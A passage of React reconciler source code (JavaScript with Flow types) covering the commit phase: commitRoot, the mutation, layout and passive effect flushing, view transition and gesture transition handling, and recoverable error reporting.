      recoverableErrors,\n          transitions,\n          didIncludeRenderPhaseUpdate,\n          spawnedLane,\n          updatedLanes,\n          suspendedRetryLanes,\n          didSkipSuspendedSiblings,\n          exitStatus,\n          suspendedState,\n          'Waiting for the Gesture to finish' /* suspendedCommitReason */,\n          completedRenderStartTime,\n          completedRenderEndTime,\n        ),\n      );\n      return;\n    }\n  }\n\n  // If we're not starting a gesture we now actually commit the root.\n  commitRoot(\n    root,\n    finishedWork,\n    lanes,\n    spawnedLane,\n    updatedLanes,\n    suspendedRetryLanes,\n    suspendedState,\n    suspendedCommitReason,\n    completedRenderEndTime,\n  );\n}\n\nfunction commitRoot(\n  root: FiberRoot,\n  finishedWork: Fiber,\n  lanes: Lanes,\n  spawnedLane: Lane,\n  updatedLanes: Lanes,\n  suspendedRetryLanes: Lanes,\n  suspendedState: null | SuspendedState,\n  suspendedCommitReason: SuspendedCommitReason, // Profiling-only\n  completedRenderEndTime: number, // Profiling-only\n) {\n  // Check which lanes no longer have any work scheduled on them, and mark\n  // those as finished.\n  let remainingLanes = mergeLanes(finishedWork.lanes, finishedWork.childLanes);\n\n  pendingEffectsRemainingLanes = remainingLanes;\n\n  // Make sure to account for lanes that were updated by a concurrent event\n  // during the render phase; don't mark them as finished.\n  const concurrentlyUpdatedLanes = getConcurrentlyUpdatedLanes();\n  remainingLanes = mergeLanes(remainingLanes, concurrentlyUpdatedLanes);\n\n  if (enableGestureTransition && root.pendingGestures === null) {\n    // Gestures don't clear their lanes while the gesture is still active but it\n    // might not be scheduled to do any more renders and so we shouldn't schedule\n    // any more gesture lane work until a new gesture is scheduled.\n    if (enableProfilerTimer && (remainingLanes & GestureLane) !== NoLanes) {\n      // We need to clear any updates scheduled so that we can treat future updates\n      // as the cause of the render.\n      clearGestureUpdates();\n    }\n    remainingLanes &= ~GestureLane;\n  }\n\n  markRootFinished(\n    root,\n    lanes,\n    remainingLanes,\n    spawnedLane,\n    updatedLanes,\n    suspendedRetryLanes,\n  );\n\n  // Reset this before firing side effects so we can detect recursive updates.\n  didIncludeCommitPhaseUpdate = false;\n\n  // If there are pending passive effects, schedule a callback to process them.\n  // Do this as early as possible, so it is queued before anything else that\n  // might get scheduled in the commit phase. (See #16714.)\n  // TODO: Delete all other places that schedule the passive effect callback\n  // They're redundant.\n  let passiveSubtreeMask;\n  if (enableViewTransition) {\n    pendingViewTransitionEvents = null;\n    if (includesOnlyViewTransitionEligibleLanes(lanes)) {\n      // Claim any pending Transition Types for this commit.\n      pendingTransitionTypes = claimQueuedTransitionTypes(root);\n      passiveSubtreeMask = PassiveTransitionMask;\n    } else {\n      pendingTransitionTypes = null;\n      passiveSubtreeMask = PassiveMask;\n    }\n  } else {\n    passiveSubtreeMask = PassiveMask;\n  }\n  if (\n    // If this subtree rendered with profiling this commit, we need to visit it to log it.\n    (enableProfilerTimer &&\n      enableComponentPerformanceTrack &&\n      finishedWork.actualDuration !== 0) ||\n    (finishedWork.subtreeFlags & passiveSubtreeMask) !== NoFlags ||\n    (finishedWork.flags & passiveSubtreeMask) !== NoFlags\n  ) {\n    if (enableYieldingBeforePassive) {\n      // We don't schedule a separate task for flushing passive effects.\n      // Instead, we just rely on ensureRootIsScheduled below to schedule\n      // a callback for us to flush the passive effects.\n    } else {\n      // So we can clear these now to allow a new callback to be scheduled.\n      root.callbackNode = null;\n      root.callbackPriority = NoLane;\n      scheduleCallback(NormalSchedulerPriority, () => {\n        if (enableProfilerTimer && enableComponentPerformanceTrack) {\n          // Track the currently executing event if there is one so we can ignore this\n          // event when logging events.\n          trackSchedulerEvent();\n        }\n        if (pendingDelayedCommitReason === IMMEDIATE_COMMIT) {\n          pendingDelayedCommitReason = DELAYED_PASSIVE_COMMIT;\n        }\n        flushPassiveEffects();\n        // This render triggered passive effects: release the root cache pool\n        // *after* passive effects fire to avoid freeing a cache pool that may\n        // be referenced by a node in the tree (HostRoot, Cache boundary etc)\n        return null;\n      });\n    }\n  } else {\n    // If we don't have passive effects, we're not going to need to perform more work\n    // so we can clear the callback now.\n    root.callbackNode = null;\n    root.callbackPriority = NoLane;\n  }\n\n  if (enableProfilerTimer) {\n    // Mark the current commit time to be shared by all Profilers in this\n    // batch. This enables them to be grouped later.\n    resetCommitErrors();\n    recordCommitTime();\n    if (enableComponentPerformanceTrack) {\n      if (suspendedCommitReason !== null) {\n        logSuspendedCommitPhase(\n          completedRenderEndTime,\n          commitStartTime,\n          suspendedCommitReason,\n          workInProgressUpdateTask,\n        );\n      }\n    }\n  }\n\n  resetShouldStartViewTransition();\n\n  // The commit phase is broken into several sub-phases. We do a separate pass\n  // of the effect list for each phase: all mutation effects come before all\n  // layout effects, and so on.\n\n  // Check if there are any effects in the whole tree.\n  // TODO: This is left over from the effect list implementation, where we had\n  // to check for the existence of `firstEffect` to satisfy Flow. I think the\n  // only other reason this optimization exists is because it affects profiling.\n  // Reconsider whether this is necessary.\n  const subtreeHasBeforeMutationEffects =\n    (finishedWork.subtreeFlags & (BeforeMutationMask | MutationMask)) !==\n    NoFlags;\n  const rootHasBeforeMutationEffect =\n    (finishedWork.flags & (BeforeMutationMask | MutationMask)) !== NoFlags;\n\n  if (subtreeHasBeforeMutationEffects || rootHasBeforeMutationEffect) {\n    const prevTransition = ReactSharedInternals.T;\n    ReactSharedInternals.T = null;\n    const previousPriority = getCurrentUpdatePriority();\n    setCurrentUpdatePriority(DiscreteEventPriority);\n    const prevExecutionContext = executionContext;\n    executionContext |= CommitContext;\n    try {\n      // The first phase a \"before mutation\" phase. We use this phase to read the\n      // state of the host tree right before we mutate it. This is where\n      // getSnapshotBeforeUpdate is called.\n      commitBeforeMutationEffects(root, finishedWork, lanes);\n    } finally {\n      // Reset the priority to the previous non-sync value.\n      executionContext = prevExecutionContext;\n      setCurrentUpdatePriority(previousPriority);\n      ReactSharedInternals.T = prevTransition;\n    }\n  }\n\n  if (enableGestureTransition) {\n    // Stop any gestures that were committed.\n    if (isGestureRender(lanes)) {\n      stopCommittedGesture(root);\n      // Note that shouldStartViewTransition should always be false here because\n      // committing a gesture never starts a new View Transition itself since it's\n      // not a View Transition eligible lane. Only follow up Transition commits can\n      // cause animate.\n    }\n  }\n\n  pendingEffectsStatus = PENDING_MUTATION_PHASE;\n  if (enableViewTransition && shouldStartViewTransition) {\n    if (enableProfilerTimer && enableComponentPerformanceTrack) {\n      startAnimating(lanes);\n    }\n    pendingViewTransition = startViewTransition(\n      suspendedState,\n      root.containerInfo,\n      pendingTransitionTypes,\n      flushMutationEffects,\n      flushLayoutEffects,\n      flushAfterMutationEffects,\n      flushSpawnedWork,\n      flushPassiveEffects,\n      reportViewTransitionError,\n      enableProfilerTimer ? suspendedViewTransition : (null: any),\n      enableProfilerTimer\n        ? // This callback fires after \"pendingEffects\" so we need to snapshot the arguments.\n          finishedViewTransition.bind(null, lanes)\n        : (null: any),\n    );\n  } else {\n    // Flush synchronously.\n    flushMutationEffects();\n    flushLayoutEffects();\n    // Skip flushAfterMutationEffects\n    flushSpawnedWork();\n  }\n}\n\nfunction reportViewTransitionError(error: mixed) {\n  // Report errors that happens while preparing a View Transition.\n  if (pendingEffectsStatus === NO_PENDING_EFFECTS) {\n    return;\n  }\n  const root = pendingEffectsRoot;\n  const onRecoverableError = root.onRecoverableError;\n  onRecoverableError(error, makeErrorInfo(null));\n}\n\nfunction suspendedViewTransition(reason: string): void {\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    // We'll split the commit into two phases, because we're suspended in the middle.\n    recordCommitEndTime();\n    logCommitPhase(\n      pendingSuspendedCommitReason === null\n        ? pendingEffectsRenderEndTime\n        : commitStartTime,\n      commitEndTime,\n      commitErrors,\n      pendingDelayedCommitReason === ABORTED_VIEW_TRANSITION_COMMIT,\n      workInProgressUpdateTask, // TODO: Use a ViewTransition Task and this is not safe to read in this phase.\n    );\n    pendingSuspendedViewTransitionReason = reason;\n    pendingSuspendedCommitReason = reason;\n  }\n}\n\nfunction finishedViewTransition(lanes: Lanes): void {\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    if ((animatingLanes & lanes) === NoLanes) {\n      // Was already stopped by some other action or maybe other root.\n      return;\n    }\n    const task = animatingTask;\n    stopAnimating(lanes);\n    // If an affected track isn't in the middle of rendering or committing, log from the previous\n    // finished render until the end of the animation.\n    if (\n      isGestureRender(lanes) &&\n      !isGestureRender(workInProgressRootRenderLanes) &&\n      !isGestureRender(pendingEffectsLanes)\n    ) {\n      setCurrentTrackFromLanes(GestureLane);\n      logAnimatingPhase(gestureClampTime, now(), task);\n    }\n    if (\n      includesTransitionLane(lanes) &&\n      !includesTransitionLane(workInProgressRootRenderLanes) &&\n      !includesTransitionLane(pendingEffectsLanes)\n    ) {\n      setCurrentTrackFromLanes(SomeTransitionLane);\n      logAnimatingPhase(transitionClampTime, now(), task);\n    }\n    if (\n      includesRetryLane(lanes) &&\n      !includesRetryLane(workInProgressRootRenderLanes) &&\n      !includesRetryLane(pendingEffectsLanes)\n    ) {\n      setCurrentTrackFromLanes(SomeRetryLane);\n      logAnimatingPhase(retryClampTime, now(), task);\n    }\n    if (\n      includesIdleGroupLanes(lanes) &&\n      !includesIdleGroupLanes(workInProgressRootRenderLanes) &&\n      !includesIdleGroupLanes(pendingEffectsLanes)\n    ) {\n      setCurrentTrackFromLanes(IdleLane);\n      logAnimatingPhase(idleClampTime, now(), task);\n    }\n  }\n}\n\nfunction flushAfterMutationEffects(): void {\n  if (pendingEffectsStatus !== PENDING_AFTER_MUTATION_PHASE) {\n    return;\n  }\n  pendingEffectsStatus = NO_PENDING_EFFECTS;\n  const root = pendingEffectsRoot;\n  const finishedWork = pendingFinishedWork;\n  const lanes = pendingEffectsLanes;\n  commitAfterMutationEffects(root, finishedWork, lanes);\n  pendingEffectsStatus = PENDING_SPAWNED_WORK;\n}\n\nfunction flushMutationEffects(): void {\n  if (pendingEffectsStatus !== PENDING_MUTATION_PHASE) {\n    return;\n  }\n  pendingEffectsStatus = NO_PENDING_EFFECTS;\n\n  const root = pendingEffectsRoot;\n  const finishedWork = pendingFinishedWork;\n  const lanes = pendingEffectsLanes;\n  const subtreeMutationHasEffects =\n    (finishedWork.subtreeFlags & MutationMask) !== NoFlags;\n  const rootMutationHasEffect = (finishedWork.flags & MutationMask) !== NoFlags;\n\n  if (subtreeMutationHasEffects || rootMutationHasEffect) {\n    const prevTransition = ReactSharedInternals.T;\n    ReactSharedInternals.T = null;\n    const previousPriority = getCurrentUpdatePriority();\n    setCurrentUpdatePriority(DiscreteEventPriority);\n    const prevExecutionContext = executionContext;\n    executionContext |= CommitContext;\n    try {\n      // The next phase is the mutation phase, where we mutate the host tree.\n      commitMutationEffects(root, finishedWork, lanes);\n\n      if (enableCreateEventHandleAPI) {\n        if (shouldFireAfterActiveInstanceBlur) {\n          afterActiveInstanceBlur();\n        }\n      }\n      resetAfterCommit(root.containerInfo);\n    } finally {\n      // Reset the priority to the previous non-sync value.\n      executionContext = prevExecutionContext;\n      setCurrentUpdatePriority(previousPriority);\n      ReactSharedInternals.T = prevTransition;\n    }\n  }\n\n  // The work-in-progress tree is now the current tree. This must come after\n  // the mutation phase, so that the previous tree is still current during\n  // componentWillUnmount, but before the layout phase, so that the finished\n  // work is current during componentDidMount/Update.\n  root.current = finishedWork;\n  pendingEffectsStatus = PENDING_LAYOUT_PHASE;\n}\n\nfunction flushLayoutEffects(): void {\n  if (pendingEffectsStatus !== PENDING_LAYOUT_PHASE) {\n    return;\n  }\n  pendingEffectsStatus = NO_PENDING_EFFECTS;\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    const suspendedViewTransitionReason = pendingSuspendedViewTransitionReason;\n    if (suspendedViewTransitionReason !== null) {\n      // We suspended in the middle of the commit for the view transition.\n      // We'll start a new commit track now.\n      recordCommitTime();\n      logSuspendedViewTransitionPhase(\n        commitEndTime, // The start is the end of the first commit part.\n        commitStartTime, // The end is the start of the second commit part.\n        suspendedViewTransitionReason,\n        animatingTask,\n      );\n    }\n  }\n\n  const root = pendingEffectsRoot;\n  const finishedWork = pendingFinishedWork;\n  const lanes = pendingEffectsLanes;\n\n  if (enableDefaultTransitionIndicator) {\n    const cleanUpIndicator = root.pendingIndicator;\n    if (cleanUpIndicator !== null && root.indicatorLanes === NoLanes) {\n      // We have now committed all Transitions that needed the default indicator\n      // so we can now run the clean up function. We do this in the layout phase\n      // so it has the same semantics as if you did it with a useLayoutEffect or\n      // if it was reset automatically with useOptimistic.\n      const prevTransition = ReactSharedInternals.T;\n      ReactSharedInternals.T = null;\n      const previousPriority = getCurrentUpdatePriority();\n      setCurrentUpdatePriority(DiscreteEventPriority);\n      const prevExecutionContext = executionContext;\n      executionContext |= CommitContext;\n      root.pendingIndicator = null;\n      try {\n        cleanUpIndicator();\n      } catch (x) {\n        reportGlobalError(x);\n      } finally {\n        // Reset the priority to the previous non-sync value.\n        executionContext = prevExecutionContext;\n        setCurrentUpdatePriority(previousPriority);\n        ReactSharedInternals.T = prevTransition;\n      }\n    }\n  }\n\n  const subtreeHasLayoutEffects =\n    (finishedWork.subtreeFlags & LayoutMask) !== NoFlags;\n  const rootHasLayoutEffect = (finishedWork.flags & LayoutMask) !== NoFlags;\n\n  if (subtreeHasLayoutEffects || rootHasLayoutEffect) {\n    const prevTransition = ReactSharedInternals.T;\n    ReactSharedInternals.T = null;\n    const previousPriority = getCurrentUpdatePriority();\n    setCurrentUpdatePriority(DiscreteEventPriority);\n    const prevExecutionContext = executionContext;\n    executionContext |= CommitContext;\n    try {\n      // The next phase is the layout phase, where we call effects that read\n      // the host tree after it's been mutated. The idiomatic use case for this is\n      // layout, but class component lifecycles also fire here for legacy reasons.\n      if (enableSchedulingProfiler) {\n        markLayoutEffectsStarted(lanes);\n      }\n      commitLayoutEffects(finishedWork, root, lanes);\n      if (enableSchedulingProfiler) {\n        markLayoutEffectsStopped();\n      }\n    } finally {\n      // Reset the priority to the previous non-sync value.\n      executionContext = prevExecutionContext;\n      setCurrentUpdatePriority(previousPriority);\n      ReactSharedInternals.T = prevTransition;\n    }\n  }\n\n  const completedRenderEndTime = pendingEffectsRenderEndTime;\n  const suspendedCommitReason = pendingSuspendedCommitReason;\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    recordCommitEndTime();\n    logCommitPhase(\n      suspendedCommitReason === null ? completedRenderEndTime : commitStartTime,\n      commitEndTime,\n      commitErrors,\n      pendingDelayedCommitReason === ABORTED_VIEW_TRANSITION_COMMIT,\n      workInProgressUpdateTask,\n    );\n  }\n\n  pendingEffectsStatus = PENDING_AFTER_MUTATION_PHASE;\n}\n\nfunction flushSpawnedWork(): void {\n  if (\n    pendingEffectsStatus !== PENDING_SPAWNED_WORK &&\n    // If a startViewTransition times out, we might flush this earlier than\n    // after mutation phase. In that case, we just skip the after mutation phase.\n    pendingEffectsStatus !== PENDING_AFTER_MUTATION_PHASE\n  ) {\n    return;\n  }\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    // If we didn't skip the after mutation phase, when is means we started an animation.\n    const startedAnimation = pendingEffectsStatus === PENDING_SPAWNED_WORK;\n    if (startedAnimation) {\n      const startViewTransitionStartTime = commitEndTime;\n      // Update the new commitEndTime to when we started the animation.\n      recordCommitEndTime();\n      logStartViewTransitionYieldPhase(\n        startViewTransitionStartTime,\n        commitEndTime,\n        pendingDelayedCommitReason === ABORTED_VIEW_TRANSITION_COMMIT,\n        animatingTask,\n      );\n      if (pendingDelayedCommitReason !== ABORTED_VIEW_TRANSITION_COMMIT) {\n        pendingDelayedCommitReason = ANIMATION_STARTED_COMMIT;\n      }\n    }\n  }\n\n  pendingEffectsStatus = NO_PENDING_EFFECTS;\n\n  const committedViewTransition = pendingViewTransition;\n  pendingViewTransition = null; // The view transition has now fully started.\n\n  // Tell Scheduler to yield at the end of the frame, so the browser has an\n  // opportunity to paint.\n  requestPaint();\n\n  const root = pendingEffectsRoot;\n  const finishedWork = pendingFinishedWork;\n  const lanes = pendingEffectsLanes;\n  const recoverableErrors = pendingRecoverableErrors;\n  const didIncludeRenderPhaseUpdate = pendingDidIncludeRenderPhaseUpdate;\n\n  const passiveSubtreeMask =\n    enableViewTransition && includesOnlyViewTransitionEligibleLanes(lanes)\n      ? PassiveTransitionMask\n      : PassiveMask;\n  const rootDidHavePassiveEffects = // If this subtree rendered with profiling this commit, we need to visit it to log it.\n    (enableProfilerTimer &&\n      enableComponentPerformanceTrack &&\n      finishedWork.actualDuration !== 0) ||\n    (finishedWork.subtreeFlags & passiveSubtreeMask) !== NoFlags ||\n    (finishedWork.flags & passiveSubtreeMask) !== NoFlags;\n\n  if (rootDidHavePassiveEffects) {\n    pendingEffectsStatus = PENDING_PASSIVE_PHASE;\n  } else {\n    pendingEffectsStatus = NO_PENDING_EFFECTS;\n    pendingEffectsRoot = (null: any); // Clear for GC purposes.\n    pendingFinishedWork = (null: any); // Clear for GC purposes.\n    // There were no passive effects, so we can immediately release the cache\n    // pool for this render.\n    releaseRootPooledCache(root, root.pendingLanes);\n    if (__DEV__) {\n      nestedPassiveUpdateCount = 0;\n      rootWithPassiveNestedUpdates = null;\n    }\n  }\n\n  // Read this again, since an effect might have updated it\n  let remainingLanes = root.pendingLanes;\n\n  // Check if there's remaining work on this root\n  // TODO: This is part of the `componentDidCatch` implementation. Its purpose\n  // is to detect whether something might have called setState inside\n  // `componentDidCatch`. The mechanism is known to be flawed because `setState`\n  // inside `componentDidCatch` is itself flawed — that's why we recommend\n  // `getDerivedStateFromError` instead. However, it could be improved by\n  // checking if remainingLanes includes Sync work, instead of whether there's\n  // any work remaining at all (which would also include stuff like Suspense\n  // retries or transitions). It's been like this for a while, though, so fixing\n  // it probably isn't that urgent.\n  if (remainingLanes === NoLanes) {\n    // If there's no remaining work, we can clear the set of already failed\n    // error boundaries.\n    legacyErrorBoundariesThatAlreadyFailed = null;\n  }\n\n  if (__DEV__) {\n    if (!rootDidHavePassiveEffects) {\n      commitDoubleInvokeEffectsInDEV(root, false);\n    }\n  }\n\n  const renderPriority = lanesToEventPriority(lanes);\n  onCommitRootDevTools(finishedWork.stateNode, renderPriority);\n\n  if (enableUpdaterTracking) {\n    if (isDevToolsPresent) {\n      root.memoizedUpdaters.clear();\n    }\n  }\n\n  if (__DEV__) {\n    onCommitRootTestSelector();\n  }\n\n  if (recoverableErrors !== null) {\n    const prevTransition = ReactSharedInternals.T;\n    const previousUpdateLanePriority = getCurrentUpdatePriority();\n    setCurrentUpdatePriority(DiscreteEventPriority);\n    ReactSharedInternals.T = null;\n    try {\n      // There were errors during this render, but recovered from them without\n      // needing to surface it to the UI. We log them here.\n      const onRecoverableError = root.onRecoverableError;\n      for (let i = 0; i < recoverableErrors.length; i++) {\n        const recoverableError = recoverableErrors[i];\n        const errorInfo = makeErrorInfo(recoverableError.stack);\n        if (__DEV__) {\n          runWithFiberInDEV(\n            recoverableError.source,\n            onRecoverableError,\n            recoverableError.value,\n            errorInfo,\n          );\n        } else {\n          onRecoverableError(recoverableError.value, errorInfo);\n        }\n      }\n    } finally {\n      ReactSharedInternals.T = prevTransition;\n      setCurrentUpdatePriority(previousUpdateLanePriority);\n    }\n  }\n\n  if (enableViewTransition) {\n    // We should now be after the startViewTransition's .ready call which is late enough\n    // to start animating any pseudo-elements. We do this before flushing any passive\n    // effects or spawned sync work since this is still part of the previous commit.\n    // Even though conceptually it's like its own task between layout effets and passive.\n    const pendingEvents = pendingViewTransitionEvents;\n    let pendingTypes = pendingTransitionTypes;\n    pendingTransitionTypes = null;\n    if (pendingEvents !== null) {\n      pendingViewTransitionEvents = null;\n      if (pendingTypes === null) {\n        // Normalize the type. This is lazily created only for events.\n        pendingTypes = [];\n      }\n      if (committedViewTransition !== null) {\n        for (let i = 0; i < pendingEvents.length; i++) {\n          const viewTransitionEvent = pendingEvents[i];\n          const cleanup = viewTransitionEvent(pendingTypes);\n          if (cleanup !== undefined) {\n            addViewTransitionFinishedListener(committedViewTransition, cleanup);\n          }\n        }\n      }\n    }\n  }\n\n  // If the passive effects are the result of a discrete render, flush them\n  // synchronously at the end of the current task so that the result is\n  // immediately observable. Otherwise, we assume that they are not\n  // order-dependent and do not need to be observed by external systems, so we\n  // can wait until after paint.\n  // TODO: We can optimize this by not scheduling the callback earlier. Since we\n  // currently schedule the callback in multiple places, will wait until those\n  // are consolidated.\n  if (\n    includesSyncLane(pendingEffectsLanes) &&\n    (disableLegacyMode || root.tag !== LegacyRoot)\n  ) {\n    flushPendingEffects();\n  }\n\n  // Always call this before exiting `completeRoot`, to ensure that any\n  // additional work on this root is scheduled.\n  ensureRootIsScheduled(root);\n\n  // Read this again, since a passive effect might have updated it\n  remainingLanes = root.pendingLanes;\n\n  // Check if this render scheduled a cascading synchronous update. This is a\n  // heurstic to detect infinite update loops. We are intentionally excluding\n  // hydration lanes in this check, because render triggered by selective\n  // hydration is conceptually not an update.\n  if (\n    // Was the finished render the result of an update (not hydration)?\n    includesSomeLane(lanes, UpdateLanes) &&\n    // Did it schedule a sync update?\n    includesSomeLane(remainingLanes, SyncUpdateLanes)\n  ) {\n    if (enableProfilerTimer && enableProfilerNestedUpdatePhase) {\n      markNestedUpdateScheduled();\n    }\n\n    // Count the number of times the root synchronously re-renders without\n    // finishing. If there are too many, it indicates an infinite update loop.\n    if (root === rootWithNestedUpdates) {\n      nestedUpdateCount++;\n    } else {\n      nestedUpdateCount = 0;\n      rootWithNestedUpdates = root;\n    }\n    nestedUpdateKind = NESTED_UPDATE_SYNC_LANE;\n  } else if (\n    // Check if there was a recursive update spawned by this render, in either\n    // the render phase or the commit phase. We track these explicitly because\n    // we can't infer from the remaining lanes alone.\n    enableInfiniteRenderLoopDetection &&\n    (didIncludeRenderPhaseUpdate || didIncludeCommitPhaseUpdate)\n  ) {\n    if (enableProfilerTimer && enableProfilerNestedUpdatePhase) {\n      markNestedUpdateScheduled();\n    }\n\n    // Count the number of times the root synchronously re-renders without\n    // finishing. If there are too many, it indicates an infinite update loop.\n    if (root === rootWithNestedUpdates) {\n      nestedUpdateCount++;\n    } else {\n      nestedUpdateCount = 0;\n      rootWithNestedUpdates = root;\n    }\n    nestedUpdateKind = NESTED_UPDATE_PHASE_SPAWN;\n  } else {\n    nestedUpdateCount = 0;\n    rootWithNestedUpdates = null;\n    nestedUpdateKind = NO_NESTED_UPDATE;\n  }\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    if (!rootDidHavePassiveEffects) {\n      finalizeRender(lanes, commitEndTime);\n    }\n  }\n\n  // Eagerly flush any event replaying that we unblocked within this commit.\n  // This ensures that those are observed before we render any new changes.\n  if (supportsHydration) {\n    flushHydrationEvents();\n  }\n\n  // If layout work was scheduled, flush it now.\n  flushSyncWorkOnAllRoots();\n\n  if (enableSchedulingProfiler) {\n    markCommitStopped();\n  }\n\n  if (enableTransitionTracing) {\n    // We process transitions during passive effects. However, passive effects can be\n    // processed synchronously during the commit phase as well as asynchronously after\n    // paint. At the end of the commit phase, we schedule a callback that will be called\n    // after the next paint. If the transitions have already been processed (passive\n    // effect phase happened synchronously), we will schedule a callback to process\n    // the transitions. However, if we don't have any pending transition callbacks, this\n    // means that the transitions have yet to be processed (passive effects processed after paint)\n    // so we will store the end time of paint so that we can process the transitions\n    // and then call the callback via the correct end time.\n    const prevRootTransitionCallbacks = root.transitionCallbacks;\n    if (prevRootTransitionCallbacks !== null) {\n      schedulePostPaintCallback(endTime => {\n        const prevPendingTransitionCallbacks =\n          currentPendingTransitionCallbacks;\n        if (prevPendingTransitionCallbacks !== null) {\n          currentPendingTransitionCallbacks = null;\n          scheduleCallback(IdleSchedulerPriority, () => {\n            processTransitionCallbacks(\n              prevPendingTransitionCallbacks,\n              endTime,\n              prevRootTransitionCallbacks,\n            );\n          });\n        } else {\n          currentEndTime = endTime;\n        }\n      });\n    }\n  }\n}\n\nfunction applyGestureOnRoot(\n  root: FiberRoot,\n  finishedWork: Fiber,\n  recoverableErrors: null | Array<CapturedValue<mixed>>,\n  suspendedState: null | SuspendedState,\n  renderEndTime: number, // Profiling-only\n): void {\n  // We assume that the gesture we just rendered was the first one in the queue.\n  const finishedGesture = root.pendingGestures;\n  if (finishedGesture === null) {\n    // We must have already cancelled this gesture before we had a chance to\n    // render it. Let's schedule work on the next set of lanes.\n    ensureRootIsScheduled(root);\n    return;\n  }\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    startAnimating(pendingEffectsLanes);\n  }\n\n  pendingViewTransitionEvents = null;\n\n  const prevTransition = ReactSharedInternals.T;\n  ReactSharedInternals.T = null;\n  const previousPriority = getCurrentUpdatePriority();\n  setCurrentUpdatePriority(DiscreteEventPriority);\n  const prevExecutionContext = executionContext;\n  executionContext |= CommitContext;\n  try {\n    insertDestinationClones(root, finishedWork);\n  } finally {\n    // Reset the priority to the previous non-sync value.\n    executionContext = prevExecutionContext;\n    setCurrentUpdatePriority(previousPriority);\n    ReactSharedInternals.T = prevTransition;\n  }\n  pendingTransitionTypes = finishedGesture.types;\n  pendingEffectsStatus = PENDING_GESTURE_MUTATION_PHASE;\n\n  pendingViewTransition = finishedGesture.running = startGestureTransition(\n    suspendedState,\n    root.containerInfo,\n    finishedGesture.provider,\n    finishedGesture.rangeStart,\n    finishedGesture.rangeEnd,\n    pendingTransitionTypes,\n    flushGestureMutations,\n    flushGestureAnimations,\n    reportViewTransitionError,\n    enableProfilerTimer\n      ? // This callback fires after \"pendingEffects\" so we need to snapshot the arguments.\n        finishedViewTransition.bind(null, pendingEffectsLanes)\n      : (null: any),\n  );\n}\n\nfunction flushGestureMutations(): void {\n  if (!enableGestureTransition) {\n    return;\n  }\n  if (pendingEffectsStatus !== PENDING_GESTURE_MUTATION_PHASE) {\n    return;\n  }\n  pendingEffectsStatus = NO_PENDING_EFFECTS;\n  const root = pendingEffectsRoot;\n  const finishedWork = pendingFinishedWork;\n\n  const prevTransition = ReactSharedInternals.T;\n  ReactSharedInternals.T = null;\n  const previousPriority = getCurrentUpdatePriority();\n  setCurrentUpdatePriority(DiscreteEventPriority);\n  const prevExecutionContext = executionContext;\n  executionContext |= CommitContext;\n  try {\n    applyDepartureTransitions(root, finishedWork);\n  } finally {\n    // Reset the priority to the previous non-sync value.\n    executionContext = prevExecutionContext;\n    setCurrentUpdatePriority(previousPriority);\n    ReactSharedInternals.T = prevTransition;\n  }\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    recordCommitEndTime();\n    logApplyGesturePhase(\n      pendingEffectsRenderEndTime,\n      commitEndTime,\n      animatingTask,\n    );\n  }\n\n  pendingEffectsStatus = PENDING_GESTURE_ANIMATION_PHASE;\n}\n\nfunction flushGestureAnimations(): void {\n  if (!enableGestureTransition) {\n    return;\n  }\n  // If we get canceled before we start we might not have applied\n  // mutations yet. We need to apply them first.\n  flushGestureMutations();\n  if (pendingEffectsStatus !== PENDING_GESTURE_ANIMATION_PHASE) {\n    return;\n  }\n\n  const lanes = pendingEffectsLanes;\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    const startViewTransitionStartTime = commitEndTime;\n    // Update the new commitEndTime to when we started the animation.\n    recordCommitEndTime();\n    logStartViewTransitionYieldPhase(\n      startViewTransitionStartTime,\n      commitEndTime,\n      pendingDelayedCommitReason === ABORTED_VIEW_TRANSITION_COMMIT,\n      animatingTask,\n    );\n    if (pendingDelayedCommitReason !== ABORTED_VIEW_TRANSITION_COMMIT) {\n      pendingDelayedCommitReason = ANIMATION_STARTED_COMMIT;\n    }\n  }\n\n  pendingEffectsStatus = NO_PENDING_EFFECTS;\n  const root = pendingEffectsRoot;\n  const finishedWork = pendingFinishedWork;\n  pendingEffectsRoot = (null: any); // Clear for GC purposes.\n  pendingFinishedWork = (null: any); // Clear for GC purposes.\n  pendingEffectsLanes = NoLanes;\n\n  pendingViewTransition = null; // The view transition has now fully started.\n\n  const prevTransition = ReactSharedInternals.T;\n  ReactSharedInternals.T = null;\n  const previousPriority = getCurrentUpdatePriority();\n  setCurrentUpdatePriority(DiscreteEventPriority);\n  const prevExecutionContext = executionContext;\n  executionContext |= CommitContext;\n  try {\n    startGestureAnimations(root, finishedWork);\n  } finally {\n    // Reset the priority to the previous non-sync value.\n    executionContext = prevExecutionContext;\n    setCurrentUpdatePriority(previousPriority);\n    ReactSharedInternals.T = prevTransition;\n  }\n\n  if (enableViewTransition) {\n    // We should now be after the startGestureTransition's .ready call which is late enough\n    // to start animating any pseudo-elements. We have also already applied any adjustments\n    // we do to the built-in animations which can now be read by the refs.\n    const pendingEvents = pendingViewTransitionEvents;\n    let pendingTypes = pendingTransitionTypes;\n    pendingTransitionTypes = null;\n    if (pendingEvents !== null) {\n      pendingViewTransitionEvents = null;\n      if (pendingTypes === null) {\n        // Normalize the type. This is lazily created only for events.\n        pendingTypes = [];\n      }\n      const appliedGesture = root.pendingGestures;\n      if (appliedGesture !== null) {\n        const runningTransition = appliedGesture.running;\n        if (runningTransition !== null) {\n          for (let i = 0; i < pendingEvents.length; i++) {\n            const viewTransitionEvent = pendingEvents[i];\n            const cleanup = viewTransitionEvent(pendingTypes);\n            if (cleanup !== undefined) {\n              addViewTransitionFinishedListener(runningTransition, cleanup);\n            }\n          }\n        }\n      }\n    }\n  }\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    finalizeRender(lanes, commitEndTime);\n  }\n\n  // Now that we've rendered this lane. Start working on the next lane.\n  ensureRootIsScheduled(root);\n}\n\nfunction makeErrorInfo(componentStack: ?string) {\n  const errorInfo = {\n    componentStack,\n  };\n  if (__DEV__) {\n    Object.defineProperty((errorInfo: any), 'digest', {\n      get() {\n        console.error(\n          'You are accessing \"digest\" from the errorInfo object passed to onRecoverableError.' +\n            ' This property is no longer provided as part of 